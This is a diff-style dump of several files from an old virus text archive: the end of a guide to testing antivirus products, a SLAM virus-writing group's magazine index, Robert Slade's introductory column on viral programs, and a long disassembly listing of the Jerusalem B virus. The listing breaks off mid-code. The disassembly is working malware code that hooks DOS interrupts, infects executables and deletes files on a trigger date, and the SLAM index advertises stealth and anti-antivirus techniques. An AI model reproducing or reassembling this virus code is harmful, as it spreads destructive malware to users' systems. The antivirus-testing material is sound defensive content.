- Provide the ability to selectively protect or ignore
specific programs or specific areas of the system.
This will reduce the number of false alarms when
running programs which violate the "rules" imposed by
the product.
- Provide the ability to freeze virus activity when it is
detected, and prevent the illegal access from
continuing. This is mandatory to prevent the virus
from infecting the system.
- Run without noticeably degrading system performance.
Memory resident programs have a tendency to increase
system overhead and thus slow down the system. A well
designed product should cause no more than a 5%
degradation in system performance.
- Monitor and protect all attached read/write devices.
All attached devices that can be written to are
potential virus targets. The prevention product should
protect all such devices.
- Selectively prevent all interrupt level I/O. An
additional degree of protection is provided if the
product disallows programs from performing non-standard
calls for I/O service (interrupt level requests).
However, doing so increases the false alarm rate. The
user should have the choice of allowing or disallowing
such calls.
Infection detection criteria:
Infection detection products should at a minimum be able to:
- Detect characteristic viral modifications to all
executable data, including the following:
- The system's boot sector
- All system device drivers
- All operating system modules, including hidden
file programs
- All application programs
- Allow the user to selectively exclude specific
programs or specific areas of storage from the checking
function. This will allow programs or directories that
undergo frequent change to avoid causing error messages
during the checking process.
- Perform global check functions in a timely fashion. If
the check function is executed at boot time, for
example, it should add no more than 10 seconds to the
boot sequence for each 50 programs on the disk that
must be checked.
- Provide automatic checking. The check function should
execute at least each time the system is powered on or
re-booted. Some systems provide a clock function so
that the system can be checked automatically at user
specified time intervals.
- Stop the system, provide a visual and audible warning,
and wait for user directions if a potential virus is
detected.
- Display the names of all infected programs, or clearly
identify the areas of the system that have become
infected.
Infection Identification
Infection Identification products should be able to:
- Identify and remove multiple virus strains. The number
of existing viruses continues to increase. So, when an
infection occurs, it is not always possible to
positively identify the infection strain. The more
viruses that the product can distinguish, the better
the chances of identification.
- Provide information that will allow the user to
determine how accurate the diagnosis may be. In some
circumstances, identifying a given virus is not as
precise as one might think. This is because many
viruses have been slightly modified by unknown hackers
and re-introduced into the public domain. These
modified viruses can sometimes only be detected by
cross referencing many different characteristics. The
product should provide the degree of certainty, or
other information that can be used to determine a
course of action, for any questionable virus.
- Identify and report on all areas of the system that are
infected. It is important to know the extent of
infection, and the product should provide that
information.
- Inform the user about the degree of success for the
removal. Depending on the time that the virus has been
in the system, removal may or may not be possible. The
product should inform the user of possible options in a
questionable situation. The options available should
include automatic removal or erasure of the affected
system element.
- Scan and remove the infection from all attached
devices. This should include floppies, fixed and
removable hard disks and tape devices.
- Automatically scan all subdirectories. The product
should be capable of locating all areas of the system
where the infection may have lodged, without user
assistance.
- Flag all areas of the system where removal was
partially or completely ineffective. These areas must
be manually dealt with after the program finishes.
- Prevent itself from becoming infected during the
identification and removal process. This is a real
danger for many of the identification products. An
infected identification product will run the risk of
infected every system on which it is used.
Testing Procedures
Now that we have seen how these products work and we have
been exposed to the central criteria for evaluating them, we are
ready to begin the actual testing. The effectiveness of these
products can usually be determined without having to use
specialized tools. All that's required is a word processor or
text editor, a good disk utility such as the Norton Utilities, a
knowledge of common operating system commands and a sound
understanding of the issues we've discussed so far.
The test procedures that are recommended below will possibly
not provide the degree of product assurance that could be
ascertained by experienced virus specialists testing in a
laboratory and using live viruses. They will, however, provide a
great deal more information about the product's performance than
could be gleaned from reading the product documentation or sales
literature. They will also provide more information than quite a
few of the published product reviews that have been performed, if
only because you will gain hands on experience with the product
in your operating environment. Any product that performs well in
the following tests is guaranteed to provide some degree of real
protection.
Let's start with the infection prevention products:
Infection Prevention Product Testing:
These products, remember, are basically filter programs that
monitor the system and try to prevent viruses from initially
infecting programs or other executable components. The testing
should determine how well the products protect these system
elements from modification. The tests should also determine how
sensitive these products are to valid system activities that
might trigger a virus warning. The ideal product will catch all
truly questionable activities while ignoring all normal system
activities. The following procedures will provide a good
indication of the product's effectiveness: (Be sure to install
the antiviral product prior to running these tests).
I. Program modification test
To test the product's ability to protect general executable
programs from being modified, create a temporary subdirectory and
copy your word processor or text editor into the subdirectory.
Create two output text file named TEST, one with a .EXE
extension and the other with a .COM extension. Then attempt to
update the file using the word processor or a text editor. If
the antiviral program is working properly, it should flag both
the creation and the update as a potential infection. Next
create output files named IBMBIO.COM, IBMDOS.COM and
COMMAND.COM. Attempt to modify them. Each attempt should be
prevented. Finally, create output files with the same names as
each of the installable device drivers in your system. (check
your CONFIG.SYS file to determine the names of your device
drivers if you do not already know them). Attempt to modify each
of them. Each attempt should be prevented.
Repeat each of the above steps using a floppy diskette as
the output device, instead of the hard disk subdirectory. The
same results should occur.
II. Interrupt level I/O test
Next, we need to test the product's ability to prevent
interrupt level I/O. To do this, first copy the FORMAT routine
to a file named TEST.COM. Run TEST and format a floppy diskette
in the A or B drive. The antiviral program should prevent the
format and flag the attempt.
III. Operating system command test
We next need to check the use of operating system commands.
User commands are frequently, and erroneously, flagged by
antiviral products when they instigate operations that mimic
virus activities. It is important to select a product that can
discriminate between activities instigated by the user and those
that occur through program processes. To test this capability we
use some standard DOS commands.
Using standard COPY, DELETE and RENAME commands, copy an
executable program into a different directory, rename it to
another EXE or COM file name, and then delete it. None of the
three operations should be flagged by the antiviral program.
IV. Copy, rename and delete test
Next we should verify that the above functions would be
stopped if performed by a program, rather than by the system
user. Using any application utility program that has copy,
rename and delete functions (such as X-TREE, Norton Utilities,
etc.), repeat the above series of steps. The antiviral program
should prevent and flag all three attempts as potential viral
activities.
V. Self modification test
Many programs modify their own executable modules at some
point. This is not characteristic of viruses, and the process
can in no way lead to the spread of the virus. The antiviral
program should not flag or prevent any attempts of a program to
modify itself. To test this, copy your word processor executable
module to a backup file. Then run the word processor, create a
dummy document, and then save it to the name of the executable
word processor module (for example, using Word Perfect, you would
save the file to the name - WP.EXE). The antiviral program
should allow the modification. After this test, copy the saved
version of the program back to its original name.
VI. Boot sector test
Attempt to modify the boot sector to check the product's
ability to prevent the attempt. It is very important in this
step that you be able to restore the boot sector in the event
that the product's protection mechanism fails.
Using any utility that allows reading and writing the boot
sector (the Norton Utilities is an example), read the boot sector
and write down the contents of the first byte. Change the first
byte to 00 and attempt to write the sector back to disk. The
product should prevent the attempt. If the product fails,
replace the original contents of the first byte and re-write the
boot sector. The re-write should be performed prior to shutting
down or re-booting the system.
VII. Memory resident check
Many viruses modify the original structure of programs so
that they remain memory resident after they terminate. The
antiviral product should detect any attempt to remain resident.
To test this feature, merely take any normally memory resident
program, such as SIDEKICK or CACHE, and rename it to the file
TEST.COM (or .EXE, depending on the program). Run TEST. The
product should catch the program and display a warning message.
In addition to the above tests, you should create a
checklist of the product criteria discussed in the previous
section and review such functions as the enable/disable switch,
selective protection and other issues identified.
Infection Detection Product Testing
These products identify an infection after it has occurred.
Testing should focus on detecting modifications to executable
components of the system, such as the boot sector, the operating
system or an application program.
Before we describe the test procedures, however, a note of
explanation about how viruses attach to programs is necessary.
Viruses can attach to the beginning, to the end or to the middle
of a program, or any combination of the three. They may fragment
themselves and scatter virus segments throughout the program. Or
they may even keep the main body of the virus unattached to the
program, hidden in a bad sector for example. All viruses that
have been discovered, however, have modified at least some small
portion of the beginning instructions of the program. This is
because a virus must be executed first, that is - before the host
program to which it has attached. If the virus does not execute
before its host program, then the environment in which the virus
"wakes up" will be uncertain, and the possibility of program
failure will be high.
The exceptions to the this "positioning" rule are viruses
that replace the entire program, such as boot sector infectors,
and viruses that attack only specific programs, like known
operating system files or other programs that would be commonly
found in large numbers of systems. These viruses may gain
control at any point, since the structure of the host program is
well known and the environment can be predicted at any point in
the host program's processing.
The implications of this virus attachment profile are very
important: Many detection products make use of this profile to
speed the system checking function. If every byte of every
program is processed in the checksum or other comparison
technique, then global checking functions (scanning the entire
system) may take substantial time to complete. Systems
containing many hundreds of large programs (a common occurence),
may require anywhere from 5 to 15 minutes to complete the audit.
Since a global scan should be performed at least daily, this time
requirement is a significant nuisance to the average user and a
deterrent for the implementation of the product. Products that
only look for the characteristic initial instruction
modifications, on the other hand, would complete the same audit
in a matter of seconds.
All products, however, should perform a complete check of
"universal" programs. These include the boot sector, the
operating system files and the command interpreter.
Armed with this information, we are now ready to begin the
tests:
I. Boot sector replacement
Using a disk utility program, blank out the "Boot Failure"
message within the boot sector (this is merely a safe way to
create a unique boot sector). Then install the detection product
you wish to test. Next, replace the entire boot sector using the
SYS command (see the DOS user's guide for instructions on using
this command). Then execute the check function of the product
you are testing. The product should warn that the new boot
sector is a replacement.
II. Boot modification
Next, re-install the detection product. Then modify the
boot sector randomly using the disk utility. Run the check
routine. The product should warn that the boot sector has been
modified. (When finished with this step, perform the SYS
command again, or use the disk utility to return the boot sector
to its original state).
III. Program deletion
Copy a number of COM and EXE files to a temporary directory
and then delete them from their original directories. Run the
detection check function. The product should identify each of
the missing programs.
IV. Program modification
Next, copy the programs back from the temporary directory to
their original directories. Using your disk utility, modify the
first byte of each of the COM programs. Modify the entire first
500 bytes of the EXE programs. Run the check program. Each
modification should be detected.
At this point you should replace each of the modified
programs from the original programs stored in the temporary
directory.
V. Program replacement
Replace one of the application programs with the origional
program from the program distribution diskette. Then modify the
program as above. The check function should still catch the
modification.
VI. System modification
Using your disk utility, copy COMMAND.COM, IBMBIO.COM and
IBMDOS.COM to backup files. Randomly modify each of the original
files using your disk utility. Change only one byte in each.
Run the check routine to determine that the modifications have
been detected. Perform this step multiple times with different
modifications.
In addition to the above tests, you should create a
checklist of the product criteria discussed in the previous
section and review such functions as selective protection,
automatic checking, visual warnings and other issues identified.
Infection Identification products
It is virtually impossible to test these products in the
absence of a real infection, so I will assume that you would be
evaluating such a product in order to rid yourself of an actual
infection. I do not recommend that you obtain samples of real
viruses in order to test these products.
The ultimate test for these products is: Did it identify and
remove the infection, and if so, how thouroughly? Performing the
test is quite simple.
The first steps are to isolate the infected system from all
other systems, and to aquire clean, original copies of the
infected programs. Make working copies of these uninfected
programs onto separate floppy diskettes, one sample program per
diskette.
Insert each floppy in turn into the infected system and run
each sample program. This, in most cases, will cause the
diskette, or the program, to become infected.
Using a disk utility, now do a binary compare of the
infected diskette to the backup copy. If an infection has
occurred, the diskettes will differ. Separate all working copy
diskettes that have been modified by the virus and label them as
infected.
Now run the identification program against each of the
infected floppies. Do this on a clean, uninfected system. The
program should identify the infection on each diskette. Next
cause the program to attempt removal. Run each floppy in turn
through the removal cycle. The program should remove all of the
infections.
To test that the removal worked, take the infected (and now
hopefully disinfected) diskettes and again do a binary compare
against the original backup diskettes. There should be no
discrepancy.
If the program has passed the above tests, it is clearly
able to identify and, at least in test disks, remove the
infection. At this point you should test its operation on the
infected system. To do this, first make a backup copy of the
product. Then load the identification program into the infected
system and begin the identification and disinfection process.
On completion of the operation, perform a disk compare of
the working disk against the original product disk. There should
be no diferences.
In addition to these tests, you should review the criteria
for these products that we discussed in the previous section and
determine such factors as usability and performance.

29
textfiles.com/virus/index.mag Normal file
View File

@@ -0,0 +1,29 @@
SLAM January 1997
----
MAGAZINE
ISSUE 1!
--- ---
-*<$The SLAM virus team!$>*-
-*<$The X Document$>*-
In this SLAM magazine:
----------------------
SLAM.000 Introduction
SLAM.001 Membership and other info about SLAM
SLAM.002 First info about Macro virii (based on the Concept virus)
SLAM.003 Payloads in macro virii
SLAM.004 Polymorphism in macro virii
SLAM.005 Different stealth techniques in macro virii
SLAM.006 Anti-anti-virus (retro) in macro virii
SLAM.007 How to optimize your macro virus
SLAM.008 ExcelMacro/Laroux virus info
SLAM.009 WordMacro/MooNRaiDer virus
SLAM.010 WordMacro/Outlaw virus
SLAM.011 WordMacro/Puritan (1) virus
SLAM.012 WordMacro/Rapi virus
SLAM.013 Thankz & Greetz
SLAM.014 What's next?
SLAM.015 Decrypt your encrypted macros with this program
--- The SLAM Virus Team ---

49
textfiles.com/virus/intro1.cvp Normal file
View File

@@ -0,0 +1,49 @@
INTRO1.CVP 910701 rev. 911102
Introduction to Computer Viral Programs Column
This file/posting/column, and the ones which will follow, are a
weekly column devoted to explaining computer viral type
programs. The material can be roughly divided into the
following topic areas: Introduction (this file), History,
Functions, Protection and Implications. The file names will
reflect this division, beginning with DEF, HIS, FUN, PRT or IMP,
continuing with a further three letter subcategory, as
appropriate, a sequence number, and all ending with CVP.
The format is intended to be as easy as possible for all mail
systems and terminals to handle. Each "column" will be
approximately one typewritten page in length.
The material is intended to be "non system specific", and to be
applicable to all type of computer and operating systems.
Examples will be given from many different computers and
operating systems at different times. Readers will note,
however, that much of the material relates to the MS-DOS
"world": IBM compatible microcomputers. This is deliberately
chosen. The "PC" platform demonstrates the concepts that are
common to all computer systems in the clearest manner.
I retain copyright of this material. Anyone is free to post any
of this material on any publicly accessible electronic bulletin
board or electronic mail system which does not charge for
connect time or data transfer, provided that the files/postings
are posted intact, including my copyright notice, the filename
and date at the beginning and end and my contact addresses.
Anyone wishing to post this material on a commercial system, or
to print it in a book or periodical, please contact me, and I'm
sure we can work something out.
I am sure that the material will be archived at various servers,
but the one place that I can guarantee the complete set will be
available is on the Cyberstore information system. This is a
commercial system, but is accessible through a local call to a
Datapac or Tymnet node for most people in Canada and the United
States, or indeed for anyone with an X.25/X.75 network.
Vancouver Usenet: p1@arkham.wimsey.bc.ca
Institute for Internet: Robert_Slade@mtsg.sfu.ca
Research into Cyberstore:Datapac [3020] 8350 1030
User Snailnet: Canada V7K 2G6
Security Fidonet: 1:153/915
copyright Robert M. Slade, 1991 INTRO1.CVP 910701 rev. 911102

3376
textfiles.com/virus/ivm-95.1 Normal file
View File

File diff suppressed because it is too large Load Diff

794
textfiles.com/virus/jeru-b.asm Normal file
View File

@@ -0,0 +1,794 @@
This is the Jerusalem B Virus.
"JV.MOC" PAGE 0001
0000:0000 E99200 JMP X0095
0000:0003 7355 JAE X005A
0000:0005 4D DEC BP
0000:0006 7344 JAE X004C
0000:0008 6F73 JG X007D
0000:000A 0001 ADD [BX+DI],AL
0000:000C BD1700 MOV BP,0017H
0000:000F 0000 ADD [BX+SI],AL
0000:0011 06 PUSH ES
0000:0012 00A5FE00 ADD [DI+Y00FEH],AH
0000:0016 F016 LOCK PUSH SS
0000:0018 17 POP SS
0000:0019 7702 JA X001D
0000:001B BF053D MOV DI,03D05H
0000:001E 0CFB OR AL,0FBH
0000:0020 7D00 JGE X0022
0000:0022 0000 X0022: ADD [BX+SI],AL
0000:0024 0000 ADD [BX+SI],AL
0000:0026 0000 ADD [BX+SI],AL
0000:0028 0000 ADD [BX+SI],AL
0000:002A 0000 ADD [BX+SI],AL
0000:002C 0000 ADD [BX+SI],AL
0000:002E E8062A CALL X2A37
0000:0031 B10D MOV CL,0DH
0000:0033 800000 ADD BYTE PTR [BX+SI],00H
0000:0036 008000B1 ADD [BX+SI+Y0B100H],AL
0000:003A 0D5C00 OR AX,005CH
0000:003D B10D MOV CL,0DH
0000:003F 6C00 JL X0041
0000:0041 B10D X0041: MOV CL,0DH
0000:0043 0004 ADD [SI],AL
0000:0045 5F POP DI
0000:0046 0F POP CS
0000:0047 B400 MOV AH,00H
0000:0049 C1 RET ; INTRASEGMENT
0000:004A 0D00F0 X004A: OR AX,0F000H
0000:004D 06 PUSH ES
0000:004E 004D5A ADD [DI+05AH],CL
0000:0051 2000 AND [BX+SI],AL
0000:0053 1000 ADC [BX+SI],AL
0000:0055 1900 SBB [BX+SI],AX
0000:0057 0800 OR [BX+SI],AL
0000:0059 7500 JNZ X005B
0000:005B 7500 X005B: JNZ X005D
0000:005D 6901 X005D: JNS X0060
0000:005F 1007 ADC [BX],AL
0000:0061 8419 TEST BL,[BX+DI]
0000:0063 C500 LDS AX,[BX+SI]
0000:0065 6901 JNS X0068
0000:0067 1C00 SBB AL,00H
0000:0069 0000 ADD [BX+SI],AL
0000:006B 4C X006B: DEC SP
0000:006C B000 MOV AL,00H
0000:006E CD21 INT 021H
0000:0070 050020 ADD AX,02000H
0000:0073 0037 ADD [BX],DH
"JV.MOC" PAGE 0002
0000:0075 121C ADC BL,[SI]
0000:0077 0100 ADD [BX+SI],AX
0000:0079 0210 ADD DL,[BX+SI]
0000:007B 0010 ADD [BX+SI],DL
0000:007D 17 X007D: POP SS
0000:007E 0000 ADD [BX+SI],AL
0000:0080 53 PUSH BX
0000:0081 61E8 JNO X006B
0000:0083 38434F CMP [BP+DI+04FH],AL
0000:0086 4D DEC BP
0000:0087 4D DEC BP
0000:0088 41 INC CX
0000:0089 4E DEC SI
0000:008A 44 INC SP
0000:008B 2E43 INC BX
0000:008D 4F DEC DI
0000:008E 4D DEC BP
0000:008F 0100 ADD [BX+SI],AX
0000:0091 0000 ADD [BX+SI],AL
0000:0093 0000 ADD [BX+SI],AL
0000:0095 FC X0095: CLD
0000:0096 B4E0 MOV AH,0E0H
0000:0098 CD21 INT 021H
0000:009A 80FCE0 CMP AH,0E0H
0000:009D 7316 JAE X00B5
0000:009F 80FC03 CMP AH,03H
0000:00A2 7211 JB X00B5
0000:00A4 B4DD MOV AH,0DDH
0000:00A6 BF0001 MOV DI,0100H
0000:00A9 BE1007 MOV SI,0710H
0000:00AC 03F7 ADD SI,DI
0000:00AE 2E8B8D1100 MOV CX,CS:[DI+Y0011H]
0000:00B3 CD21 INT 021H
0000:00B5 8CC8 X00B5: MOV AX,CS
0000:00B7 051000 ADD AX,0010H
0000:00BA 8ED0 MOV SS,AX
0000:00BC BC0007 MOV SP,0700H
0000:00BF 50 PUSH AX
0000:00C0 B8C500 MOV AX,00C5H
0000:00C3 50 PUSH AX
0000:00C4 CB RET ; INTERSEGMENT
0000:00C5 FC X00C5: CLD
0000:00C6 06 PUSH ES
0000:00C7 2E8C063100 MOV CS:[Y0031H],ES
0000:00CC 2E8C063900 MOV CS:[Y0039H],ES
0000:00D1 2E8C063D00 MOV CS:[Y003DH],ES
0000:00D6 2E8C064100 MOV CS:[Y0041H],ES
0000:00DB 8CC0 MOV AX,ES
0000:00DD 051000 ADD AX,0010H
0000:00E0 2E01064900 ADD CS:[Y0049H],AX
0000:00E5 2E01064500 ADD CS:[Y0045H],AX
0000:00EA B4E0 MOV AH,0E0H
0000:00EC CD21 INT 021H
0000:00EE 80FCE0 CMP AH,0E0H
0000:00F1 7313 JAE X0106
0000:00F3 80FC03 CMP AH,03H
"JV.MOC" PAGE 0003
0000:00F6 07 POP ES
0000:00F7 2E8E164500 MOV SS,CS:[Y0045H]
0000:00FC 2E8B264300 MOV SP,CS:[Y0043H]
0000:0101 2EFF2E4700 JMP CS:[Y0047H]
0000:0106 33C0 X0106: XOR AX,AX
0000:0108 8EC0 MOV ES,AX
0000:010A 26A1FC03 MOV AX,ES:Y03FCH
0000:010E 2EA34B00 MOV CS:Y004BH,AX
0000:0112 26A0FE03 MOV AL,ES:Y03FEH
0000:0116 2EA24D00 MOV CS:Y004DH,AL
0000:011A 26C706FC03F3A5 MOV WORD PTR ES:[Y03FCH],0A5F3H
0000:0121 26C606FE03CB MOV BYTE PTR ES:[Y03FEH],0CBH
0000:0127 58 POP AX
0000:0128 051000 ADD AX,0010H
0000:012B 8EC0 MOV ES,AX
0000:012D 0E PUSH CS
0000:012E 1F POP DS
0000:012F B91007 MOV CX,0710H
0000:0132 D1E9 SHR CX,1
0000:0134 33F6 XOR SI,SI
0000:0136 8BFE MOV DI,SI
0000:0138 06 PUSH ES
0000:0139 B84201 MOV AX,0142H
0000:013C 50 PUSH AX
0000:013D EAFC030000 JMP X0000_03FC
0000:0142 8CC8 MOV AX,CS
0000:0144 8ED0 MOV SS,AX
0000:0146 BC0007 MOV SP,0700H
0000:0149 33C0 XOR AX,AX
0000:014B 8ED8 MOV DS,AX
0000:014D 2EA14B00 MOV AX,CS:Y004BH
0000:0151 A3FC03 MOV Y03FCH,AX
0000:0154 2EA04D00 MOV AL,CS:Y004DH
0000:0158 A2FE03 MOV Y03FEH,AL
0000:015B 8BDC MOV BX,SP
0000:015D B104 MOV CL,04H
0000:015F D3EB SHR BX,CL
0000:0161 83C310 ADD BX,0010H
0000:0164 2E891E3300 MOV CS:[Y0033H],BX
0000:0169 B44A MOV AH,04AH
0000:016B 2E8E063100 MOV ES,CS:[Y0031H]
0000:0170 CD21 INT 021H
0000:0172 B82135 MOV AX,03521H
0000:0175 CD21 INT 021H
0000:0177 2E891E1700 MOV CS:[Y0017H],BX
0000:017C 2E8C061900 MOV CS:[Y0019H],ES
0000:0181 0E PUSH CS
0000:0182 1F POP DS
0000:0183 BA5B02 MOV DX,025BH
0000:0186 B82125 MOV AX,02521H
0000:0189 CD21 INT 021H
0000:018B 8E063100 MOV ES,[Y0031H]
0000:018F 268E062C00 MOV ES,ES:[Y002CH]
0000:0194 33FF XOR DI,DI
0000:0196 B9FF7F MOV CX,07FFFH
0000:0199 32C0 XOR AL,AL
"JV.MOC" PAGE 0004
0000:019B F2AE X019B: REPNE SCASB
0000:019D 263805 CMP ES:[DI],AL
0000:01A0 E0F9 LOOPNZ X019B
0000:01A2 8BD7 MOV DX,DI
0000:01A4 83C203 ADD DX,0003H
0000:01A7 B8004B MOV AX,04B00H
0000:01AA 06 PUSH ES
0000:01AB 1F POP DS
0000:01AC 0E PUSH CS
0000:01AD 07 POP ES
0000:01AE BB3500 MOV BX,0035H
0000:01B1 1E PUSH DS
0000:01B2 06 PUSH ES
0000:01B3 50 PUSH AX
0000:01B4 53 PUSH BX
0000:01B5 51 PUSH CX
0000:01B6 52 PUSH DX
0000:01B7 B42A MOV AH,02AH
0000:01B9 CD21 INT 021H
0000:01BB 2EC6060E0000 MOV BYTE PTR CS:[Y000EH],00H
0000:01C1 81F9C307 CMP CX,07C3H
0000:01C5 7430 JZ X01F7
0000:01C7 3C05 CMP AL,05H
0000:01C9 750D JNZ X01D8
0000:01CB 80FA0D CMP DL,0DH
0000:01CE 7508 JNZ X01D8
0000:01D0 2EFE060E00 INC BYTE PTR CS:[Y000EH]
0000:01D5 EB20 JMP X01F7
0000:01D7 90 NOP
0000:01D8 B80835 X01D8: MOV AX,03508H
0000:01DB CD21 INT 021H
0000:01DD 2E891E1300 MOV CS:[Y0013H],BX
0000:01E2 2E8C061500 MOV CS:[Y0015H],ES
0000:01E7 0E PUSH CS
0000:01E8 1F POP DS
0000:01E9 C7061F00907E MOV WORD PTR [Y001FH],07E90H
0000:01EF B80825 MOV AX,02508H
0000:01F2 BA1E02 MOV DX,021EH
0000:01F5 CD21 INT 021H
0000:01F7 5A X01F7: POP DX
0000:01F8 59 POP CX
0000:01F9 5B POP BX
0000:01FA 58 POP AX
0000:01FB 07 POP ES
0000:01FC 1F POP DS
0000:01FD 9C PUSHF
0000:01FE 2EFF1E1700 CALL CS:[Y0017H]
0000:0203 1E PUSH DS
0000:0204 07 POP ES
0000:0205 B449 MOV AH,049H
0000:0207 CD21 INT 021H
0000:0209 B44D MOV AH,04DH
0000:020B CD21 INT 021H
0000:020D B431 MOV AH,031H
0000:020F BA0006 MOV DX,0600H
0000:0212 B104 MOV CL,04H
"JV.MOC" PAGE 0005
0000:0214 D3EA SHR DX,CL
0000:0216 83C210 ADD DX,0010H
0000:0219 CD21 INT 021H
0000:021B 32C0 XOR AL,AL
0000:021D CF IRET
0000:021E 2E833E1F0002 CMP WORD PTR CS:[Y001FH],0002H
0000:0224 7517 JNZ X023D
0000:0226 50 PUSH AX
0000:0227 53 PUSH BX
0000:0228 51 PUSH CX
0000:0229 52 PUSH DX
0000:022A 55 PUSH BP
0000:022B B80206 MOV AX,0602H
0000:022E B787 MOV BH,087H
0000:0230 B90505 MOV CX,0505H
0000:0233 BA1010 MOV DX,01010H
0000:0236 CD10 INT 010H
0000:0238 5D POP BP
0000:0239 5A POP DX
0000:023A 59 POP CX
0000:023B 5B POP BX
0000:023C 58 POP AX
0000:023D 2EFF0E1F00 X023D: DEC WORD PTR CS:[Y001FH]
0000:0242 7512 JNZ X0256
0000:0244 2EC7061F000100 MOV WORD PTR CS:[Y001FH],0001H
0000:024B 50 PUSH AX
0000:024C 51 PUSH CX
0000:024D 56 PUSH SI
0000:024E B90140 MOV CX,04001H
0000:0251 F3AC REPE LODSB
0000:0253 5E POP SI
0000:0254 59 POP CX
0000:0255 58 POP AX
0000:0256 2EFF2E1300 X0256: JMP CS:[Y0013H]
0000:025B 9C X025B: PUSHF
0000:025C 80FCE0 CMP AH,0E0H
0000:025F 7505 JNZ X0266
0000:0261 B80003 MOV AX,0300H
0000:0264 9D POPF
0000:0265 CF IRET
0000:0266 80FCDD X0266: CMP AH,0DDH
0000:0269 7413 JZ X027E
0000:026B 80FCDE CMP AH,0DEH
0000:026E 7428 JZ X0298
0000:0270 3D004B CMP AX,04B00H
0000:0273 7503 JNZ X0278
0000:0275 E9B400 JMP X032C
0000:0278 9D X0278: POPF
0000:0279 2EFF2E1700 JMP CS:[Y0017H]
0000:027E 58 X027E: POP AX
0000:027F 58 POP AX
0000:0280 B80001 MOV AX,0100H
0000:0283 2EA30A00 MOV CS:Y000AH,AX
0000:0287 58 POP AX
0000:0288 2EA30C00 MOV CS:Y000CH,AX
0000:028C F3A4 REPE MOVSB
"JV.MOC" PAGE 0006
0000:028E 9D POPF
0000:028F 2EA10F00 MOV AX,CS:Y000FH
0000:0293 2EFF2E0A00 JMP CS:[Y000AH]
0000:0298 83C406 X0298: ADD SP,0006H
0000:029B 9D POPF
0000:029C 8CC8 MOV AX,CS
0000:029E 8ED0 MOV SS,AX
0000:02A0 BC1007 MOV SP,0710H
0000:02A3 06 PUSH ES
0000:02A4 06 PUSH ES
0000:02A5 33FF XOR DI,DI
0000:02A7 0E PUSH CS
0000:02A8 07 POP ES
0000:02A9 B91000 MOV CX,0010H
0000:02AC 8BF3 MOV SI,BX
0000:02AE BF2100 MOV DI,0021H
0000:02B1 F3A4 REPE MOVSB
0000:02B3 8CD8 MOV AX,DS
0000:02B5 8EC0 MOV ES,AX
0000:02B7 2EF7267A00 MUL WORD PTR CS:[Y007AH]
0000:02BC 2E03062B00 ADD AX,CS:[Y002BH]
0000:02C1 83D200 ADC DX,0000H
0000:02C4 2EF7367A00 DIV WORD PTR CS:[Y007AH]
0000:02C9 8ED8 MOV DS,AX
0000:02CB 8BF2 MOV SI,DX
0000:02CD 8BFA MOV DI,DX
0000:02CF 8CC5 MOV BP,ES
0000:02D1 2E8B1E2F00 MOV BX,CS:[Y002FH]
0000:02D6 0BDB OR BX,BX
0000:02D8 7413 JZ X02ED
0000:02DA B90080 X02DA: MOV CX,08000H
0000:02DD F3A5 REPE MOVSW
0000:02DF 050010 ADD AX,01000H
0000:02E2 81C50010 ADD BP,01000H
0000:02E6 8ED8 MOV DS,AX
0000:02E8 8EC5 MOV ES,BP
0000:02EA 4B DEC BX
0000:02EB 75ED JNZ X02DA
0000:02ED 2E8B0E2D00 X02ED: MOV CX,CS:[Y002DH]
0000:02F2 F3A4 REPE MOVSB
0000:02F4 58 POP AX
0000:02F5 50 PUSH AX
0000:02F6 051000 ADD AX,0010H
0000:02F9 2E01062900 ADD CS:[Y0029H],AX
0000:02FE 2E01062500 ADD CS:[Y0025H],AX
0000:0303 2EA12100 MOV AX,CS:Y0021H
0000:0307 1F POP DS
0000:0308 07 POP ES
0000:0309 2E8E162900 MOV SS,CS:[Y0029H]
0000:030E 2E8B262700 MOV SP,CS:[Y0027H]
0000:0313 2EFF2E2300 JMP CS:[Y0023H]
0000:0318 33C9 X0318: XOR CX,CX
0000:031A B80143 MOV AX,04301H
0000:031D CD21 INT 021H
0000:031F B441 MOV AH,041H
0000:0321 CD21 INT 021H
"JV.MOC" PAGE 0007
0000:0323 B8004B MOV AX,04B00H
0000:0326 9D POPF
0000:0327 2EFF2E1700 JMP CS:[Y0017H]
0000:032C 2E803E0E0001 X032C: CMP BYTE PTR CS:[Y000EH],01H
0000:0332 74E4 JZ X0318
0000:0334 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH
0000:033B 2EC7068F000000 MOV WORD PTR CS:[Y008FH],0000H
0000:0342 2E89168000 MOV CS:[Y0080H],DX
0000:0347 2E8C1E8200 MOV CS:[Y0082H],DS
0000:034C 50 PUSH AX
0000:034D 53 PUSH BX
0000:034E 51 PUSH CX
0000:034F 52 PUSH DX
0000:0350 56 PUSH SI
0000:0351 57 PUSH DI
0000:0352 1E PUSH DS
0000:0353 06 PUSH ES
0000:0354 FC CLD
0000:0355 8BFA MOV DI,DX
0000:0357 32D2 XOR DL,DL
0000:0359 807D013A CMP BYTE PTR [DI+01H],03AH
0000:035D 7505 JNZ X0364
0000:035F 8A15 MOV DL,[DI]
0000:0361 80E21F AND DL,01FH
0000:0364 B436 X0364: MOV AH,036H
0000:0366 CD21 INT 021H
0000:0368 3DFFFF CMP AX,0FFFFH
0000:036B 7503 JNZ X0370
0000:036D E97702 X036D: JMP X05E7
0000:0370 F7E3 X0370: MUL BX
0000:0372 F7E1 MUL CX
0000:0374 0BD2 OR DX,DX
0000:0376 7505 JNZ X037D
0000:0378 3D1007 CMP AX,0710H
0000:037B 72F0 JB X036D
0000:037D 2E8B168000 X037D: MOV DX,CS:[Y0080H]
0000:0382 1E PUSH DS
0000:0383 07 POP ES
0000:0384 32C0 XOR AL,AL
0000:0386 B94100 MOV CX,0041H
0000:0389 F2AE REPNE SCASB
0000:038B 2E8B368000 MOV SI,CS:[Y0080H]
0000:0390 8A04 X0390: MOV AL,[SI]
0000:0392 0AC0 OR AL,AL
0000:0394 740E JZ X03A4
0000:0396 3C61 CMP AL,061H
0000:0398 7207 JB X03A1
0000:039A 3C7A CMP AL,07AH
0000:039C 7703 JA X03A1
0000:039E 802C20 SUB BYTE PTR [SI],020H
0000:03A1 46 X03A1: INC SI
0000:03A2 EBEC JMP X0390
0000:03A4 B90B00 X03A4: MOV CX,000BH
0000:03A7 2BF1 SUB SI,CX
0000:03A9 BF8400 MOV DI,0084H
0000:03AC 0E PUSH CS
"JV.MOC" PAGE 0008
0000:03AD 07 POP ES
0000:03AE B90B00 MOV CX,000BH
0000:03B1 F3A6 REPE CMPSB
0000:03B3 7503 JNZ X03B8
0000:03B5 E92F02 JMP X05E7
0000:03B8 B80043 X03B8: MOV AX,04300H
